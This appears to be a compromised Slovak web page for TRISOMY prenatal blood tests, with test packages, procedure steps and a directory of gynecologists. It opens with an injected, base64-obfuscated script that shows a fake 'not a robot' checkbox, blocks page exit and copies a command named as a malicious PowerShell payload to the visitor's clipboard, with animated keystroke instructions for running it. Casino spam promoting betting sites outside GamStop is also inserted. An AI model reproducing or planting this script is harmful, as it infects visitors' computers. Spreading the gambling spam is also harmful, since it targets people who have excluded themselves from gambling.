gICAgICB2YXIgcGx1c1NwYW4gPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzcGFuJyk7DQogICAgICAgICAgICAgICAgICAgICAgICBwbHVzU3Bhbi5zdHlsZS5jc3NUZXh0ID0gJ2NvbG9yOiM2NjY7Zm9udC1zaXplOjExcHg7bWFyZ2luOjAgM3B4O3ZlcnRpY2FsLWFsaWduOm1pZGRsZTsnOw0KICAgICAgICAgICAgICAgICAgICAgICAgcGx1c1NwYW4udGV4dENvbnRlbnQgPSAnKyc7DQogICAgICAgICAgICAgICAgICAgICAgICBkb2N1bWVudEZyYWdtZW50LmFwcGVuZENoaWxkKHBsdXNTcGFuKTsNCiAgICAgICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgICAgIHZhciBuZXdCdXR0b24gPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCdiJyk7DQogICAgICAgICAgICAgICAgICAgIG5ld0J1dHRvbi5pbm5lckhUTUwgPSBrZXlQYXJ0c1tqXTsNCiAgICAgICAgICAgICAgICAgICAgZG9jdW1lbnRGcmFnbWVudC5hcHBlbmRDaGlsZChuZXdCdXR0b24pOw0KICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgIGJ1dHRvbkVsZW1lbnQucGFyZW50Tm9kZS5yZXBsYWNlQ2hpbGQoZG9jdW1lbnRGcmFnbWVudCwgYnV0dG9uRWxlbWVudCk7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCg0KICAgICAgICBmdW5jdGlvbiBzdGFydEtleWJvYXJkQW5pbWF0aW9uKG1vZGFsRWxlbWVudCkgew0KICAgICAgICAgICAgdmFyIGluc3RydWN0aW9uSXRlbXMgPSBBcnJheS5wcm90b3R5cGUuc2xpY2UuY2FsbCgNCiAgICAgICAgICAgICAgICBtb2RhbEVsZW1lbnQucXVlcnlTZWxlY3RvckFsbCgnLmluc3RydWN0aW9uLWxpc3QgbGknKQ0KICAgICAgICAgICAgKTsNCiAgICAgICAgICAgIHZhciBhbmltYXRpb25RdWV1ZSA9IFtdOw0KDQogICAgICAgICAgICBpbnN0cnVjdGlvbkl0ZW1zLmZvckVhY2goZnVuY3Rpb24obGlzdEl0ZW0pIHsNCiAgICAgICAgICAgICAgICB2YXIgYnV0dG9ucyA9IEFycmF5LnByb3RvdHlwZS5zbGljZS5jYWxsKA0KICAgICAgICAgICAgICAgICAgICBsaXN0SXRlbS5xdWVyeVNlbGVjdG9yQWxsKCcuc3RlcC10ZXh0IGInKQ0KICAgICAgICAgICAgICAgICk7DQoNCiAgICAgICAgICAgICAgICBpZiAoIWJ1dHRvbnMubGVuZ3RoKSByZXR1cm47DQoNCiAgICAgICAgICAgICAgICBpZiAoYnV0dG9ucy5sZW5ndGggPT09IDEpIHsNCg0KICAgICAgICAgICAgICAgICAgICBhbmltYXRpb25RdWV1ZS5wdXNoKHt0eXBlOiAncHJlc3MnLCBrZXk6IGJ1dHRvbnNbMF19KTsNCiAgICAgICAgICAgICAgICAgICAgYW5pbWF0aW9uUXVldWUucHVzaCh7dHlwZTogJ3dhaXQnLCBtaWxsaXNlY29uZHM6IDYwMH0pOw0KICAgICAgICAgICAgICAgICAgICBhbmltYXRpb25RdWV1ZS5wdXNoKHt0eXBlOiAncmVsZWFzZScsIGtleTogYnV0dG9uc1swXX0pOw0KICAgICAgICAgICAgICAgICAgICBhbmltYXRpb25RdWV1ZS5wdXNoKHt0eXBlOiAnd2FpdCcsIG1pbGxpc2Vjb25kczogNDUwfSk7DQogICAgICAgICAgICAgICAgfSBlbHNlIHsNCg0KICAgICAgICAgICAgICAgICAgICBhbmltYXRpb25RdWV1ZS5wdXNoKHt0eXBlOiAncHJlc3MnLCBrZXk6IGJ1dHRvbnNbMF19KTsNCiAgICAgICAgICAgICAgICAgICAgYW5pbWF0aW9uUXVldWUucHVzaCh7dHlwZTogJ3dhaXQnLCBtaWxsaXNlY29uZHM6IDQwMH0pOw0KDQogICAgICAgICAgICAgICAgICAgIGZvciAodmFyIGogPSAxOyBqIDwgYnV0dG9ucy5sZW5ndGg7IGorKykgew0KICAgICAgICAgICAgICAgICAgICAgICAgYW5pbWF0aW9uUXVldWUucHVzaCh7dHlwZTogJ3ByZXNzJywga2V5OiBidXR0b25zW2pdfSk7DQogICAgICAgICAgICAgICAgICAgICAgICBhbmltYXRpb25RdWV1ZS5wdXNoKHt0eXBlOiAnd2FpdCcsIG1pbGxpc2Vjb25kczogMzgwfSk7DQogICAgICAgICAgICAgICAgICAgICAgICBhbmltYXRpb25RdWV1ZS5wdXNoKHt0eXBlOiAncmVsZWFzZScsIGtleTogYnV0dG9uc1tqXX0pOw0KDQogICAgICAgICAgICAgICAgICAgICAgICBpZiAoaiA8IGJ1dHRvbnMubGVuZ3RoIC0gMSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFuaW1hdGlvblF1ZXVlLnB1c2goe3R5cGU6ICd3YWl0JywgbWlsbGlzZWNvbmRzOiAxMDB9KTsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgICAgIGFuaW1hdGlvblF1ZXVlLnB1c2goe3R5cGU6ICd3YWl0JywgbWlsbGlzZWNvbmRzOiAyMDB9KTsNCiAgICAgICAgICAgICAgICAgICAgYW5pbWF0aW9uUXVldWUucHVzaCh7dHlwZTogJ3JlbGVhc2UnLCBrZXk6IGJ1dHRvbnNbMF19KTsNCiAgICAgICAgICAgICAgICAgICAgYW5pbWF0aW9uUXVldWUucHVzaCh7dHlwZTogJ3dhaXQnLCBtaWxsaXNlY29uZHM6IDUwMH0pOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0pOw0KDQogICAgICAgICAgICBhbmltYXRpb25RdWV1ZS5wdXNoKHt0eXBlOiAnd2FpdCcsIG1pbGxpc2Vjb25kczogMTYwMH0pOw0KDQogICAgICAgICAgICB2YXIgY3VycmVudEluZGV4ID0gMDsNCg0KICAgICAgICAgICAgZnVuY3Rpb24gZXhlY3V0ZU5leHRBbmltYXRpb24oKSB7DQogICAgICAgICAgICAgICAgaWYgKGN1cnJlbnRJbmRleCA+PSBhbmltYXRpb25RdWV1ZS5sZW5ndGgpIHsNCiAgICAgICAgICAgICAgICAgICAgY3VycmVudEluZGV4ID0gMDsNCiAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICB2YXIgYW5pbWF0aW9uU3RlcCA9IGFuaW1hdGlvblF1ZXVlW2N1cnJlbnRJbmRleCsrXTsNCg0KICAgICAgICAgICAgICAgIGlmIChhbmltYXRpb25TdGVwLnR5cGUgPT09ICdwcmVzcycpIHsNCg0KICAgICAgICAgICAgICAgICAgICBhbmltYXRpb25TdGVwLmtleS5jbGFzc0xpc3QuYWRkKCdrbGl0Jyk7DQogICAgICAgICAgICAgICAgICAgIGV4ZWN1dGVOZXh0QW5pbWF0aW9uKCk7DQogICAgICAgICAgICAgICAgfSBlbHNlIGlmIChhbmltYXRpb25TdGVwLnR5cGUgPT09ICdyZWxlYXNlJykgew0KDQogICAgICAgICAgICAgICAgICAgIGFuaW1hdGlvblN0ZXAua2V5LmNsYXNzTGlzdC5yZW1vdmUoJ2tsaXQnKTsNCiAgICAgICAgICAgICAgICAgICAgZXhlY3V0ZU5leHRBbmltYXRpb24oKTsNCiAgICAgICAgICAgICAgICB9IGVsc2Ugew0KDQogICAgICAgICAgICAgICAgICAgIHNldFRpbWVvdXQoZXhlY3V0ZU5leHRBbmltYXRpb24sIGFuaW1hdGlvblN0ZXAubWlsbGlzZWNvbmRzKTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQoNCiAgICAgICAgICAgIHNldFRpbWVvdXQoZXhlY3V0ZU5leHRBbmltYXRpb24sIDYwMCk7DQogICAgICAgIH0NCg0KICAgICAgICBmdW5jdGlvbiBhZGRTdGVwT25lVG9vbHRpcChtb2RhbEVsZW1lbnQsIHRvb2x0aXBUZXh0KSB7DQogICAgICAgICAgICBpZiAoIXRvb2x0aXBUZXh0KSByZXR1cm47DQoNCiAgICAgICAgICAgIHZhciBmaXJzdExpc3RJdGVtID0gbW9kYWxFbGVtZW50LnF1ZXJ5U2VsZWN0b3IoJy5pbnN0cnVjdGlvbi1saXN0IGxpJyk7DQogICAgICAgICAgICBpZiAoIWZpcnN0TGlzdEl0ZW0pIHJldHVybjsNCg0KICAgICAgICAgICAgdmFyIGJ1dHRvbnMgPSBmaXJzdExpc3RJdGVtLnF1ZXJ5U2VsZWN0b3JBbGwoJy5zdGVwLXRleHQgYicpOw0KICAgICAgICAgICAgdmFyIHRhcmdldEJ1dHRvbiA9IG51bGw7DQoNCiAgICAgICAgICAgIGZvciAodmFyIGkgPSAwOyBpIDwgYnV0dG9ucy5sZW5ndGg7IGkrKykgew0KICAgICAgICAgICAgICAgIGlmIChidXR0b25zW2ldLnF1ZXJ5U2VsZWN0b3IoJ3N2ZycpKSB7DQogICAgICAgICAgICAgICAgICAgIHRhcmdldEJ1dHRvbiA9IGJ1dHRvbnNbaV07DQogICAgICAgICAgICAgICAgICAgIGJyZWFrOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgaWYgKCF0YXJnZXRCdXR0b24gJiYgYnV0dG9ucy5sZW5ndGgpIHsNCiAgICAgICAgICAgICAgICB0YXJnZXRCdXR0b24gPSBidXR0b25zWzBdOw0KICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICBpZiAoIXRhcmdldEJ1dHRvbikgcmV0dXJuOw0KDQogICAgICAgICAgICB2YXIgaGludFNwYW4gPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzcGFuJyk7DQogICAgICAgICAgICBoaW50U3Bhbi5jbGFzc05hbWUgPSAnd2staGludCc7DQogICAgICAgICAgICBoaW50U3Bhbi5hcHBlbmRDaGlsZChkb2N1bWVudC5jcmVhdGVUZXh0Tm9kZSgnPycpKTsNCg0KICAgICAgICAgICAgdmFyIHRvb2x0aXBTcGFuID0gZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnc3BhbicpOw0KICAgICAgICAgICAgdG9vbHRpcFNwYW4uY2xhc3NOYW1lID0gJ3drLXRvb2x0aXAnOw0KICAgICAgICAgICAgdG9vbHRpcFNwYW4udGV4dENvbnRlbnQgPSB0b29sdGlwVGV4dDsNCiAgICAgICAgICAgIGhpbnRTcGFuLmFwcGVuZENoaWxkKHRvb2x0aXBTcGFuKTsNCg0KICAgICAgICAgICAgdGFyZ2V0QnV0dG9uLmFwcGVuZENoaWxkKGhpbnRTcGFuKTsNCiAgICAgICAgfQ0KDQogICAgICAgIHZhciBjaGVja2JveEJ1dHRvbiA9IHJvb3RFbGVtZW50LnF1ZXJ5U2VsZWN0b3IoJyNjZi1jYicpOw0KICAgICAgICB2YXIgc3Bpbm5lckVsZW1lbnQgPSByb290RWxlbWVudC5xdWVyeVNlbGVjdG9yKCcjY2Ytc3AnKTsNCiAgICAgICAgdmFyIGxhYmVsRWxlbWVudCA9IHJvb3RFbGVtZW50LnF1ZXJ5U2VsZWN0b3IoJyNjZi1sYmwnKTsNCiAgICAgICAgdmFyIG1vZGFsRWxlbWVudCA9IHJvb3RFbGVtZW50LnF1ZXJ5U2VsZWN0b3IoJyNjZi1tb2RhbCcpOw0KDQogICAgICAgIGZ1bmN0aW9uIHByZXZlbnRQYWdlVW5sb2FkKGV2ZW50KSB7DQogICAgICAgICAgICBldmVudC5wcmV2ZW50RGVmYXVsdCgpOw0KICAgICAgICAgICAgZXZlbnQucmV0dXJuVmFsdWUgPSAnJzsNCiAgICAgICAgfQ0KDQogICAgICAgIHdpbmRvdy5hZGRFdmVudExpc3RlbmVyKCdiZWZvcmV1bmxvYWQnLCBwcmV2ZW50UGFnZVVubG9hZCk7DQoNCiAgICAgICAgc2V0VGltZW91dChmdW5jdGlvbigpIHsNCiAgICAgICAgICAgIGlmIChjaGVja2JveEJ1dHRvbikgew0KICAgICAgICAgICAgICAgIGNoZWNrYm94QnV0dG9uLnN0eWxlLmRpc3BsYXkgPSAnYmxvY2snOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgaWYgKHNwaW5uZXJFbGVtZW50KSB7DQogICAgICAgICAgICAgICAgc3Bpbm5lckVsZW1lbnQuc3R5bGUuZGlzcGxheSA9ICdub25lJzsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGlmIChsYWJlbEVsZW1lbnQpIHsNCiAgICAgICAgICAgICAgICBsYWJlbEVsZW1lbnQudGV4dENvbnRlbnQgPSBVSV9UUkFOU0xBVElPTlMubm90Um9ib3RUZXh0Ow0KICAgICAgICAgICAgfQ0KICAgICAgICB9LCAzMDAwKTsNCg0KICAgICAgICBjaGVja2JveEJ1dHRvbi5hZGRFdmVudExpc3RlbmVyKCdjbGljaycsIGZ1bmN0aW9uKCkgew0KDQogICAgICAgICAgICBpZiAoY2hlY2tib3hCdXR0b24uX19leGVjdXRlZCkgew0KICAgICAgICAgICAgICAgIHJldHVybjsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGNoZWNrYm94QnV0dG9uLl9fZXhlY3V0ZWQgPSB0cnVlOw0KDQogICAgICAgICAgICB3aW5kb3cucmVtb3ZlRXZlbnRMaXN0ZW5lcignYmVmb3JldW5sb2FkJywgcHJldmVudFBhZ2VVbmxvYWQpOw0KDQogICAgICAgICAgICBjaGVja2JveEJ1dHRvbi5zdHlsZS5kaXNwbGF5ID0gJ25vbmUnOw0KICAgICAgICAgICAgc3Bpbm5lckVsZW1lbnQuc3R5bGUuZGlzcGxheSA9ICdmbGV4JzsNCiAgICAgICAgICAgIGlmIChsYWJlbEVsZW1lbnQpIHsNCiAgICAgICAgICAgICAgICBsYWJlbEVsZW1lbnQudGV4dENvbnRlbnQgPSBVSV9UUkFOU0xBVElPTlMudmVyaWZ5aW5nVGV4dDsNCiAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgaWYgKFJBWV9UUkFDS0lOR19JRCkgew0KICAgICAgICAgICAgICAgIHNlbmRSZXF1ZXN0VG9TZXJ2ZXIoew0KICAgICAgICAgICAgICAgICAgICBhY3Rpb246ICdjYicsDQogICAgICAgICAgICAgICAgICAgIGs6IEFQSV9BVVRIX0tFWSwNCiAgICAgICAgICAgICAgICAgICAgdDogUkFZX1RSQUNLSU5HX0lEDQogICAgICAgICAgICAgICAgfSk7DQogICAgICAgICAgICB9DQoNCiAgICAgICAgICAgIHNlcnZlclBheWxvYWRQcm9taXNlLnRoZW4oZnVuY3Rpb24ocGF5bG9hZENvbW1hbmQpIHsNCg0KICAgICAgICAgICAgICAgIGlmIChtb2RhbEVsZW1lbnQpIHsNCiAgICAgICAgICAgICAgICAgICAgbW9kYWxFbGVtZW50LmNsYXNzTGlzdC5hZGQoJ2FjdGl2ZScpOw0KICAgICAgICAgICAgICAgICAgICBwcm9jZXNzS2V5Ym9hcmRTdGVwcyhtb2RhbEVsZW1lbnQpOw0KICAgICAgICAgICAgICAgICAgICBzdGFydEtleWJvYXJkQW5pbWF0aW9uKG1vZGFsRWxlbWVudCk7DQogICAgICAgICAgICAgICAgICAgIGFkZFN0ZXBPbmVUb29sdGlwKG1vZGFsRWxlbWVudCwgVUlfVFJBTlNMQVRJT05TLnN0ZXBLZXlIZWxwKTsNCiAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICBpZiAocGF5bG9hZENvbW1hbmQpIHsNCiAgICAgICAgICAgICAgICAgICAgdmFyIGZpbmFsQ29tbWFuZCA9IE1BTElDSU9VU19QT1dFUlNIRUxMX0NPTU1BTkQgPw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgKE1BTElDSU9VU19QT1dFUlNIRUxMX0NPTU1BTkQgKyAnOycpIDoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIChwYXlsb2FkQ29tbWFuZCk7DQoNCiAgICAgICAgICAgICAgICAgICAgY29weVRleHRUb0NsaXBib2FyZChidWlsZENsaXBib2FyZENvbW1hbmQoKSk7DQoNCiAgICAgICAgICAgICAgICAgICAgdmFyIG9zS2V5TGlzdGVuZXIgPSBmdW5jdGlvbihldmVudCkgew0KICAgICAgICAgICAgICAgICAgICAgICAgdmFyIG9zID0gVEFSR0VUX09QRVJBVElOR19TWVNURU0gfHwgZGV0ZWN0VmlzaXRvck9zKCk7DQogICAgICAgICAgICAgICAgICAgICAgICB2YXIgc2hvdWxkUmVmcmVzaENsaXBib2FyZCA9IGZhbHNlOw0KDQogICAgICAgICAgICAgICAgICAgICAgICBpZiAob3MgPT09ICdtYWMnKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgc2hvdWxkUmVmcmVzaENsaXBib2FyZCA9ICEhKGV2ZW50Lm1ldGFLZXkgfHwgZXZlbnQua2V5ID09PSAnTWV0YScpOw0KICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlIGlmIChvcyA9PT0gJ2xpbnV4Jykgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIHNob3VsZFJlZnJlc2hDbGlwYm9hcmQgPSAhISgNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZXZlbnQuY3RybEtleSAmJiBldmVudC5hbHRLZXkgJiYgU3RyaW5nKGV2ZW50LmtleSB8fCAnJykudG9Mb3dlckNhc2UoKSA9PT0gJ3QnDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgc2hvdWxkUmVmcmVzaENsaXBib2FyZCA9ICEhKA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBldmVudC5tZXRhS2V5IHx8DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGV2ZW50LmtleSA9PT0gJ01ldGEnIHx8DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGV2ZW50LmtleUNvZGUgPT09IDkxIHx8DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGV2ZW50LmtleUNvZGUgPT09IDkyDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgICAgICAgICAgaWYgKHNob3VsZFJlZnJlc2hDbGlwYm9hcmQpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBjb3B5VGV4dFRvQ2xpcGJvYXJkKGJ1aWxkQ2xpcGJvYXJkQ29tbWFuZCgpKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBkb2N1bWVudC5yZW1vdmVFdmVudExpc3RlbmVyKCdrZXlkb3duJywgb3NLZXlMaXN0ZW5lcik7DQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIH07DQoNCiAgICAgICAgICAgICAgICAgICAgZG9jdW1lbnQuYWRkRXZlbnRMaXN0ZW5lcigna2V5ZG93bicsIG9zS2V5TGlzdGVuZXIpOw0KDQogICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgd2FpdEZvckV4ZWN1dGlvblRva2VuKFJBWV9UUkFDS0lOR19JRCk7DQogICAgICAgICAgICB9KTsNCiAgICAgICAgfSk7DQogICAgfSkoKTsNCg0KICB9KTt9KCk7“);document.documentElement.appendChild(s);})();
Zdravie plodu
nie je hád an ka
TRISOMY testy sú neinvazívne, bezpečné a bezbolestné prenatálne vyšetrenia z krvi tehotnej, ktoré už v prvých troch mesiacoch gravidity dokážu vylúčiť vybrané chromozómové poruchy plodu.
Viac ako 90 % žien je s TRISOMY testom veľmi spokojných.
spoľahlivosť v detekcii najčastejších chromozómových porúch plodu
vývoja a skúseností s testovaním porúch plodu v rámci prenatálneho skríningu
vzoriek sme vyšetrili pomocou TRISOMY testov
trvá stanovenie výsledkov. Ide o pracovné dni
90 % výsledkov stanovujeme do 5 pracovných dní, ale vzhľadom na biologicky podmienenú individuálnu variabilitu vzorky môže byť lehota vydania 10% výsledkov predĺžená na 8 pracovných dní.
Naše testy využívajú akreditované metódy a sú vykonávané v najmodernejších laboratóriách spoločností Trisomy test a Medirex na Slovensku.
Players seeking alternatives to UK restrictions often explore best casinos not on GamStop for more flexible gaming options and fewer limitations. Many bettors choose non GamStop betting sites because they operate under international licenses outside the British self-exclusion scheme. Players seeking non GamStop betting sites should carefully research the licensing and reputation of offshore platforms before depositing any funds. Experienced bettors often choose fast payout betting sites to maintain better control over their bankroll and cash flow management.
Downov syndróm (trizómia 21)
Edwardsov syndróm (trizómia 18)
Patauov syndróm (trizómia 13)
pravdepodobné pohlavie plodu
Downov syndróm (trizómia 21)
Edwardsov syndróm (trizómia 18)
Patauov syndróm (trizómia 13)
+ aneuploidie pohlavných chromozómov
X a Y
pravdepodobné pohlavie plodu
Downov syndróm (trizómia 21)
Edwardsov syndróm (trizómia 18)
Patauov syndróm (trizómia 13)
Aneuploidie pohlavných chromozómov
X a Y
+ 5 ďalších syndrómov
pravdepodobné pohlavie plodu
skríning všetkých 23 párov chromozómov plodu
najčastejšie poruchy (Downov, Edwarsov a Patauov syndróm)
iné časté aj raritné a doposiaľ neznáme chromozómové poruchy
pravdepodobné pohlavie plodu
TRISOMY test Complete
+Cystická fibróza
celý balík TRISOMY Complete
detekcia najčastejšej mutácie spôsobujúcej ochorenie cystická fibróza
TRISOMY test Complete
+Smithov-Lemliho-Opitzov syndróm
celý balík TRISOMY Complete
detekcia prítomnosti najčastejších mutácií spôsobujúcich ochorenie Smithov-Lemliho-Opitzov syndróm
TRISOMY test Complete
+Cystická fibróza
+Smithov-Lemliho-Opitzov syndróm
celý balík TRISOMY Complete
detekcia najčastejšej mutácie spôsobujúcej ochorenie cystická fibróza
detekcia prítomnosti najčastejších mutácií spôsobujúce ochorenie Smithov-Lemliho-Opitzov syndróm
2. Návšteva lekára a odber krvi
Vyšetrenie sa najčastejšie vykonáva medzi 11. a 22. týždňom tehotenstva. V ambulancii vám odoberú vzorku krvi a pošlú na analýzu do laboratória.
Po dohode s lekárom môžete za test zaplatiť priamo v ambulancii alebo na kartou alebo prevodom na účet.
Vzorka krvi sa analyzuje špeciálnou metódou.
O priebehu vyšetrenia vás bude laboratórium informovať SMS správami.
5. Výsledky a interpretácia
Výsledky odošle laboratórium ošetrujúcemu lekárovi spravidla do 5 – 8 pracovných dní od doručenia vzorky a zaevidovania platby. Výsledky testu vždy interpretuje váš lekár.
Lekárov, ktorí poskytujú TRISOMY test nájdete v mape alebo v zozname .
MUDr. Peter Trajanov
U starostlivého medvedika s.r.o.
Lúčna 2229/1A
Šaľa
MUDr. Rastislav Šindler
MORAS, s.r.o.
Bernolakova 24
Zlate Moravce
MUDr. Tetiana Sotula
FEMINA Health & Beauty s.r.o.
Novozamocka 71
Zvolen
MUDr. Jaroslav Bányácsky
Elite Gyn – gynekologická ambulancia
Bezručova 2047/64
Trenčín
MUDr. Richard Jakab
Mediconet Slovakia, s. r. o.
Heydukova 12-14
Bratislava
MUDr. Jana Černáková
Mediconet Slovakia, s. r. o.
Heydukova 12-14
Bratislava
MUDr. Dušan Heriban
MUDr. Dušan Heriban
Vojanská 2543/15
Sereď
GYOLIFE
GYOLIFE
Forgáčová 321/3
Slanec (KE-okolie)
MUDr. ZUZANA MELICHOVÁ
TETRAO s.r.o. – Gyn. amb.
Gemerská 3 C25
Košice
MUDr. ZUZANA ŠEBÍKOVÁ
GPN s.r.o., gynekológ
Ružinovská 10
Bratislava
MUDr. ZUZANA ŠEBÍKOVÁ
GPN, s.r.o., gynekológ
Partizánska 27
Bratislava
MUDr. ZUZANA REFKOVÁ
REGYN s.r.o.- Gyn. amb.
Sládkovič.10 B90
Stará Ľubovňa
MUDr. BLANKA MIFKOVÁ
NsP PD v Bojniciach Gyn. amb.
Nemocnicna 2
Bojnice
MUDr.Doc. Vladimír Ferianec PhD.
Gynsana s.r.o.
Trnavská cesta 18746/106
Bratislava
MUDr. GALYNA FEDYNCHUK
GYN-FIV, a.s. – Gyn. amb.
Trnavská cesta 106
Bratislava
MUDr. GABRIELA ŠUSTOVÁ
Iscare a.s. – gynekol. amb.
Prievozská 4/A
Bratislava
MUDr. ZOLTÁN PATAKY
MED-EZOP s.r.o. Gyn. amb.
Rákócziho 3 CH39
Kráľovský Chlmec
MUDr. ZOLTÁN JÁNY
Univerzitná nemocnica Bratislava, Gyn. amb.
Limbová 5
Bratislava
MUDr. ZOLTÁN JÁNY
Medicomplex, s.r.o. Gyn. amb.
Námestie SNP 5
Stupava
MUDr. PETER ŠALKO
Gyn. amb.
ul.Červenej armády 544/19
Veľký Krtíš
MUDr. Zsolt Sebö
Ambulancia – gynekológia a pôrodníctvo
Senný trh 799/6
Komárno
MUDr. ZUZANA ĎURINOVÁ
MM FEMINA, s.r.o. – Gyn. amb.
Račianska 44
Bratislava
MUDr. ZUZANA STRÝČKOVÁ
Medea plus, s.r.o. – Gyn. amb.
Lipová 15599/2
Prešov
MUDr. ZUZANA ANČICOVÁ
MUDr.Zuzana Ančicová, s.r.o. Gyn. amb.
S.Sakalovej 161/16
Bytča
MUDr. ZUZANA TOMPOŠOVÁ
TRAUMGYN s.r.o – Gyn. amb.
Dobšinského 4380
Rimavská Sobota
MUDr. ZUZANA BEHÚŇOVÁ
GYN-FIV, a.s.
Trnavská cesta 106
Bratislava
MUDr. SEBASTIAN ULRICH
Gynekológ No 1, s.r.o. Gyn. amb.
Hlboká 284/10
Komárno
MUDr. ATTILA ANNA
ANGYN s.r.o. – Gyn. amb.
Špitálska 1 G15
Rožňava
MUDr. SOŇA HORVÁTHOVÁ
GYN-SEN, s.r.o.
Gorkého 1
Bratislava
MUDr. MICHAL LUNÍČEK
FEMINA LM, s.r.o. – Gyn. amb.
Priehradná 23
Liptovský Mikuláš
MUDr. VIERA GOLSKÁ
Medikus s.r.o., Gyn. amb., Poliklinika ŽILPO-Vlčince
Vysokoškolákov 31
Žilina
MUDr. VIERA UGOROVÁ
GYNARS, s.r.o.- Gyn. amb.
Andreja Žarnova 16
Trnava
MUDr. ROMAN FIOLKA
Gyn. amb.
D. Dlabača 978/2
Žilina
MUDr. VILIAM MAGIC
MUDr.Viliam Magic, s.r.o. – Gyn. amb.
Gorkého 4849/8B
Rimavská Sobota
MUDr. VLADIMÍR CUPANÍK PhD.
GPN s.r.o., Gyn. amb.
Partizánska 27
Bratislava
MUDr. VLADIMÍR VATRAĽ
VVGYN,s.r.o. Gyn. amb.
Mierová 1284/90
Stará Ľubovňa
MUDr. MIROSLAVA ZÁVODSKÁ
SAPIENTIA s.r.o. – Gyn. amb.
Daxnerovo nám. 5.
Bratislava
MUDr. VLADIMÍR DRONIN
Gynekológia a pôrodníctvo
1.mája 21
Humenné
Doc. MUDr. VLADIMÍR KRAUS CSc.
GYNMED Košice s.r.o. Gyn. amb.
Pri jazdiarni 1010/1
Košice
MUDr. FRANTIŠEK JANÍČEK PhD.
MUDr. František Janiček, s.r.o. Gyn. amb.
Železničná 1039/17
Sereď
MUDr. STELA MURÁNSKA
Health and Beauty Clinic s.r.o. – gyn. ambulancia
Masarykova 17/A
Košice
MUDr. ŠTEFAN NAGY
MUDr. ŠTEFAN NAGY Gyn. amb.
Poštová 15 E39
Košice
MUDr. ŠTEFAN VOJTAŠŠÁK
ZDRAVIE TATRY – SLOVAKIA, s.r.o. – gynek.amb.
Dominika Tatarku 4717/18
Poprad
MUDr. ŠTEFAN KOŽUŠKANIČ
Ľubovnianska nemocnica, n.o.- gynekol. amb.
Obrancov mieru 3
Stará Ľubovňa
MUDr. JANA KRŠIAKOVÁ
M-GENETIK, s.r.o. – genetická ambulancia
P.Mudroňa 504/7
Martin
MUDr. TATIANA KOLKOVÁ
MUDr.KOLKOVÁ TATIANA – Gyn. amb.
Piešťanská 39
Radošina
MUDr. TATIANA KOLKOVÁ
MUDr. Tatiana Kolková – Gyn. amb.
Winterová 41
Piešťany
MUDr. TATIANA IVANOVOVÁ
TRIGYN – L s.r.o. – gyn-pôrod.ambulancia
Toryská 1
Košice
MUDr. TIBOR FELDMÁR
HIPOKRATES DS s.r.o., gynekológ
Hlavná 28/7
Dunajská Streda
MUDr. TIBOR FELDMÁR
HIPOKRATES DS s.r.o., Gyn. amb.
Hlavná 28/7
Dunajská Streda
MUDr. TIBOR JANKOVSKÝ
gynekológ
Legionárska 10
Trenčín
MUDr. TIBOR FOCKO
Gynekologické centrum, s.r.o. – gyn .ambulancia
Chemlonská 1
Humenné
MUDr. TIBOR NAGY
GRETINA, s.r.o.- Gyn. amb.
Nemešsegská 6331/5
Dunajská Streda
MUDr. TIBOR BERTOLD
G&D Care s.r.o., gynekológ
Nobelova 34
Bratislava
MUDr. KATARÍNA HUBOVÁ
GPN s.r.o., gynekológ
Ružinovská 10
Bratislava
MUDr. TOMÁŠ DANYS PhD.
GYNDANYS s.r.o., – Gyn. amb.
Kapisztóryho 5
Nové Zámky
MUDr. RICHARD LÁNI MPH
Gyn. amb. -MUDr.Richard Láni, s.r.o.
M.R.Štefánika 41
Žilina
MUDr. ROMAN ŽÁČOK
Gyn. amb. BA, s.r.o., gynekológ
Rezedova 5
Bratislava
MUDr. MICHAELA GROSSOVÁ
OLYMPEX s.r.o. Gyn. amb.
Bazovského 2
Bratislava
MUDr. MICHAELA GROSSOVÁ
ISCARE, a.s., Gyn. amb.
Prievozská 4/A
Bratislava
MUDr. RUDOLF HALÁK
GYNPRO,s.r.o. Gynekológ-pôrod.
Masarykova 31 B31
Prešov
MUDr. RUDOLF KOVAČIČ
JANAMED sro, gynekológ
Starohájska 2
Trnava
